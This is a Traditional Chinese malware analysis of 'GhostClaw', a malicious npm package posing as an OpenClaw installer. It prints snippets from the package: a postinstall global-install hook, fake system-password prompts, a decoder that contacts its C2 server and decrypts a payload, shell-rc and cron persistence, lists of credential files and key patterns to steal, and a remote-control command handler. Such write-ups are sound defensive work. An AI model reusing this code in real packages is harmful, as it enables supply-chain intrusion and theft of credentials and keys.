摘要

此份報告深入剖析惡意 npm 套件 @openclaw-ai/openclawai (代號 GhostClaw )。該套件偽裝成合法的 CLI 工具,同時執行一個複雜的多階段感染鏈。它結合了社交工程手法以竊取系統認證(Credentials)、全面的資料外洩(包含瀏覽器、加密貨幣錢包、雲端金鑰、Apple Keychain),以及一個具備 SOCKS5 代理和 Live browser cloning 功能的持久化遠端控制木馬。

npm生態系的新威脅:GhostClaw用AES-256加密通訊與Telegram外洩你的開發金鑰 | 資訊安全新聞

流程圖

graph TD A[User installs malicious npm package
@openclaw-ai/openclawai] --> B[postinstall script runs
npm i -g @openclaw-ai/openclawai] B --> C[Global binary openclaw
points to setup.js] C --> D["User executes openclaw
(or it auto-runs)"] D --> E[Fake installer UI
with progress bars] E --> F[Phishing for system password
mimics
macOS/Windows/Linux
auth] F --> G{"Concurrent download
from C2
trackpipe[.]dev/bootstrap"} G --> H[AES-256-GCM decryption

second-stage payload] H --> I[Payload written to
/tmp/sys-opt-*.js] I --> J[Detached child process
password via
NODE_AUTH_TOKEN] J --> K[Self‑install to
~/.cache/.npm_telemetry
/monitor.js
] K --> L[Persistence:
shell hooks, cron, lock file] L --> M[Full data theft
+ RAT commands]

1. 套件結構與初始欺騙

package.json 刻意保持精簡,呈現出正版的假象。惡意程式的進入點隱藏在 scripts/ 目錄中,而 postinstall hook 確保了在沒有使用者明確同意的情況下進行全域安裝(Global installation) [1]。以下是加上註解的摘錄。

  1. {
  2. "name": "@openclaw-ai/openclawai",
  3. "version": "1.5.15",
  4. "description": "🦞 OpenClaw Installer - Integration utilities", // decoy description
  5. "main": "src/index.js", // dummy utility
  6. "files": [
  7. "src",
  8. "scripts/setup.js", // first‑stage dropper
  9. "scripts/postinstall.js", // postinstall hook
  10. "scripts/build.js"
  11. ],
  12. "bin": {
  13. "openclaw": "./scripts/setup.js" // binary points to malicious script
  14. },
  15. "scripts": {
  16. "postinstall": "node scripts/postinstall.js" // <-- triggers global install
  17. }
  18. }

postinstall.js 雖然非常簡單,但卻相當有效:它會將套件重新安裝為全域套件,將 openclaw 執行檔放到系統的 PATH 環境變數中。

  1. // scripts/postinstall.js
  2. const { execSync } = require('child_process');
  3. // Re‑install package globally → binary 'openclaw' becomes available system‑wide
  4. execSync("npm i -g @openclaw-ai/openclawai", { stdio: 'inherit' });

2. 第一階段 Dropper:混淆與認證竊取

setup.js 經過高度混淆(字串重排、RC4、控制流扁平化)。當受害者看到一個帶有動態載入動畫的真實 CLI 安裝程式時,該腳本實際上同時執行了兩個關鍵動作:(a) 一個假的系統認證提示,以及 (b) 從 C2 伺服器擷取第二階段的 payload。密碼驗證的邏輯精確地模仿了作業系統的行為。

  1. // Inside setup.js – cross‑platform password verification (abridged)
  2. const { spawnSync } = require('child_process');
  3. let isValid = false;
  4. if (process.platform === 'darwin') {
  5. // macOS: dscl authentication
  6. const result = spawnSync("dscl", [".", "-authonly", username, password],
  7. { stdio: "pipe", timeout: 5000 });
  8. isValid = result.status === 0;
  9. } else if (process.platform === 'win32') {
  10. // Windows: PowerShell ValidateCredentials
  11. const psCmd = `Add-Type -AssemblyName System.DirectoryServices.AccountManagement;
  12. $ctx = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('machine');
  13. $ctx.ValidateCredentials('${username}', '${password}')`;
  14. const result = spawnSync("powershell", ["-NoProfile", "-NonInteractive", "-Command", psCmd]);
  15. isValid = result.stdout.toString().trim() === 'True';
  16. } else { // Linux
  17. // 'su' with password piped
  18. const proc = spawnSync("su", ["-c", "true", username], { input: password + "\n", stdio: "pipe" });
  19. isValid = proc.status === 0;
  20. }
  21. // On failure displays: "Authentication failed. Please try again."

當使用者被假的認證對話框分散注意力時,腳本同時使用 XOR 混淆的整數陣列來解碼 C2 端點

  1. // Obfuscated strings decoded via XOR map
  2. // var_60 and var_61 are integer arrays in the original obfuscated code
  3. const c2Domain = var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join("");
  4. // Decodes to: "https://trackpipe.dev"
  5. const bootstrapPath = var_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join("");
  6. // Decodes to: "/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e"
  7. // Full request: hxxps://trackpipe[.]dev/t/bootstrap?t=...

3. 第二階段 Payload:AES‑256‑GCM 解密與執行

C2 伺服器回傳一個 JSON 物件,其中包含一個 base64 編碼的加密 payload ( p ) 和一個十六進位編碼的 AES‑256‑GCM 金鑰 ( k )。解碼後的密文的前 16 個 bytes 是 IV,接下來的 16 個 bytes 是認證標籤。被竊取的密碼會透過 NODE_AUTH_TOKEN 傳遞給子程序。

  1. // Decryption routine (setup.js)
  2. const crypto = require('crypto');
  3. const response = JSON.parse(c2Response); // { p: "base64...", k: "hex..." }
  4. const encrypted = Buffer.from(response.p, "base64");
  5. const key = Buffer.from(response.k, "hex");
  6. const iv = encrypted.slice(0, 16); // AES‑GCM 96‑bit IV
  7. const authTag = encrypted.slice(16, 32); // 128‑bit auth tag
  8. const ciphertext = encrypted.slice(32);
  9. const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
  10. decipher.setAuthTag(authTag);
  11. let decrypted = decipher.update(ciphertext);
  12. decrypted = Buffer.concat([decrypted, decipher.final()]); // decrypted JS code
  13. // Write to a temporary file and spawn detached child
  14. const tmpPath = path.join(os.tmpdir(), "sys-opt-" + crypto.randomBytes(6).toString("hex") + ".js");
  15. fs.writeFileSync(tmpPath, decrypted);
  16. const child = spawn(process.execPath, [tmpPath], {
  17. stdio: "ignore",
  18. detached: true,
  19. env: {
  20. ...process.env,
  21. NODE_CHANNEL: "complexarchaeologist1", // campaign ID
  22. NODE_AUTH_TOKEN: stolenPassword, // captured system password
  23. NPM_CONFIG_TAG: packageName
  24. }
  25. });
  26. child.unref();
  27. // Temp file deleted after 60 seconds

4. 持久化與自我安裝

第二階段的 payload(約 11,700 行)會立即將自己複製到一個隱藏目錄 ( .npm_telemetry ),並透過 shell RC 檔案和 cron 建立持久化機制。下方是 installSelf() 函數。

  1. // Persistence snippet from monitor.js
  2. function installSelf() {
  3. const installDir = path.join(os.homedir(), ".cache", ".npm_telemetry"); // macOS/Linux
  4. // Windows: %APPDATA%\.npm_telemetry
  5. if (!fs.existsSync(installDir)) fs.mkdirSync(installDir, { recursive: true });
  6. const targetPath = path.join(installDir, "monitor.js");
  7. fs.copyFileSync(process.argv[1], targetPath); // copy itself
  8. // Add shell hooks (zsh, bash) – disguised as NPM Telemetry
  9. const lockFile = path.join(installDir, ".lock");
  10. const hookCode = `([ -f "${lockFile}" ] && kill -0 $(cat "${lockFile}") 2>/dev/null || nohup ${process.execPath} "${targetPath}" >/dev/null 2>&1 &) 2>/dev/null`;
  11. for (const rc of [".zshrc", ".bashrc", ".bash_profile"]) {
  12. const rcPath = path.join(os.homedir(), rc);
  13. if (fs.existsSync(rcPath)) {
  14. let content = fs.readFileSync(rcPath, "utf8");
  15. if (!content.includes("npm_telemetry")) {
  16. fs.appendFileSync(rcPath, "\n# NPM Telemetry Integration Service\n" + hookCode + "\n");
  17. }
  18. }
  19. }
  20. // Cron job (Linux) for @reboot
  21. const cronLine = '@reboot ( [ -f "' + lockFile + '" ] && kill -0 $(cat "' + lockFile + '") 2>/dev/null || ' + process.execPath + ' "' + targetPath + '" ) >/dev/null 2>&1';
  22. try {
  23. const currentCron = execSync("crontab -l 2>/dev/null || true").toString();
  24. if (!currentCron.includes(".npm_telemetry")) {
  25. execSync("echo '" + currentCron + "\n" + cronLine + "' | crontab -");
  26. }
  27. } catch (e) { /* ignore */ }
  28. }

5. 資料外洩與 RAT 功能

此惡意程式會系統性地收集瀏覽器憑證(Chrome、Firefox、Edge)、加密貨幣錢包(Exodus、MetaMask、Phantom)、SSH 金鑰、雲端認證(AWS、GCP、Azure),以及受 macOS 完整磁碟存取權限保護的資料(iMessage、備忘錄)。資料外洩使用了三種備援管道:直接上傳到 C2、Telegram Bot API,以及用於大型封存檔的 GoFile.io。剪貼簿監控器會持續外洩敏感資料模式(私鑰、API tokens)。以下是代表性的目標檔案路徑清單。

  1. // Targeted credential files (hardcoded in payload)
  2. const cloudTargets = [
  3. { path: "~/.aws/credentials", category: "AWS" },
  4. { path: "~/.azure/profiles.json", category: "Azure" },
  5. { path: "~/.gcloud/credentials.db", category: "GCP" },
  6. { path: "~/.kube/config", category: "K8s" },
  7. { path: "~/.docker/config.json", category: "Docker" },
  8. { path: "~/.npmrc", category: "npm" },
  9. { path: "~/.config/solana/id.json", category: "Solana" },
  10. { path: "~/.ssh/id_*", category: "SSH" } // wildcard handled in code
  11. ];
  12. // AI agent configs (ZeroClaw, PicoClaw, OpenClaw)
  13. const aiAgentDirs = [
  14. { name: "ZeroClaw", base: ".zeroclaw", files: ["config.toml"] },
  15. { name: "PicoClaw", base: ".picoclaw", files: ["config.json"] }
  16. ];
  17. // Clipboard monitoring regex patterns (constant)
  18. const clipboardPatterns = [
  19. { name: "ETH Address", regex: /\b0x[a-fA-F0-9]{40}\b/ },
  20. { name: "AWS Key", regex: /\b(AKIA|ABIA|ACCA)[0-9A-Z]{16}\b/ },
  21. { name: "OpenAI Key", regex: /\bsk-[a-zA-Z0-9]{48}\b/ },
  22. { name: "Seed phrase", regex: /\b(?:[a-z]{3,8}\s+){11,23}[a-z]{3,8}\b/ } // simplified
  23. ];

5.1 C2 指令與 RAT 操作

植入的 agent 會每隔約 25 秒 poll C2 ( trackpipe.dev ),並支援至少九種指令。 UPDATE 指令使用相同的 AES‑256‑GCM 機制來擷取和置換 payload。 CLONE_START 指令尤其危險:它會啟動一個帶有 --remote-debugging-port 的無頭模式的 Chromium,並將 CDP socket 轉發給攻擊者,從而提供一個即時的瀏覽器連線階段。

  1. // Command handler snippet (pseudo‑code from reversed payload)
  2. async function handleCommand(cmd) {
  3. switch(cmd.type) {
  4. case "EXEC":
  5. // run shell command, return stdout/stderr
  6. break;
  7. case "UPDATE": {
  8. // expects payload: { url, key }
  9. const { url, key } = JSON.parse(cmd.payload);
  10. await selfUpdate(url, key); // downloads encrypted blob, decrypts, overwrites monitor.js
  11. restartSelf();
  12. break;
  13. }
  14. case "CLONE_START":
  15. // copy browser profile, launch headless with remote debugging, tunnel to C2
  16. break;
  17. case "NUKE":
  18. // remove all persistence, delete install dir, self‑destruct
  19. break;
  20. // ... PROXY_START, GRAB, RECOLLECT, etc.
  21. }
  22. }
⚙️ 技術上的規避手法:
  • 使用 stdio:'ignore' unref() 建立分離的子程序 → 在終端機結束後仍能存活。
  • 暫存的 payload 在 60 秒後刪除 → 增加鑑識復原的難度。
  • 偽裝的目錄 ( .npm_telemetry ) 和 RC 註解 ("NPM Telemetry Integration Service")。
  • PID lock 檔案防止多個執行個體同時運行。
  • NUKE 指令可依需求清除所有痕跡。

6. 結論

GhostClaw 展現了一次高度專業的供應鏈攻擊:社交工程手法騙取密碼、多層加密(XOR + AES‑256‑GCM)、跨平台持久化,以及一個模組化的 RAT 框架。濫用 postinstall 和全域安裝是 npm 惡意軟體中反覆出現的模式。防禦者應監控那些在安裝期間要求系統認證或擷取外部 payload 的套件。完整的入侵指標列表可在原始報告 [1] 中找到。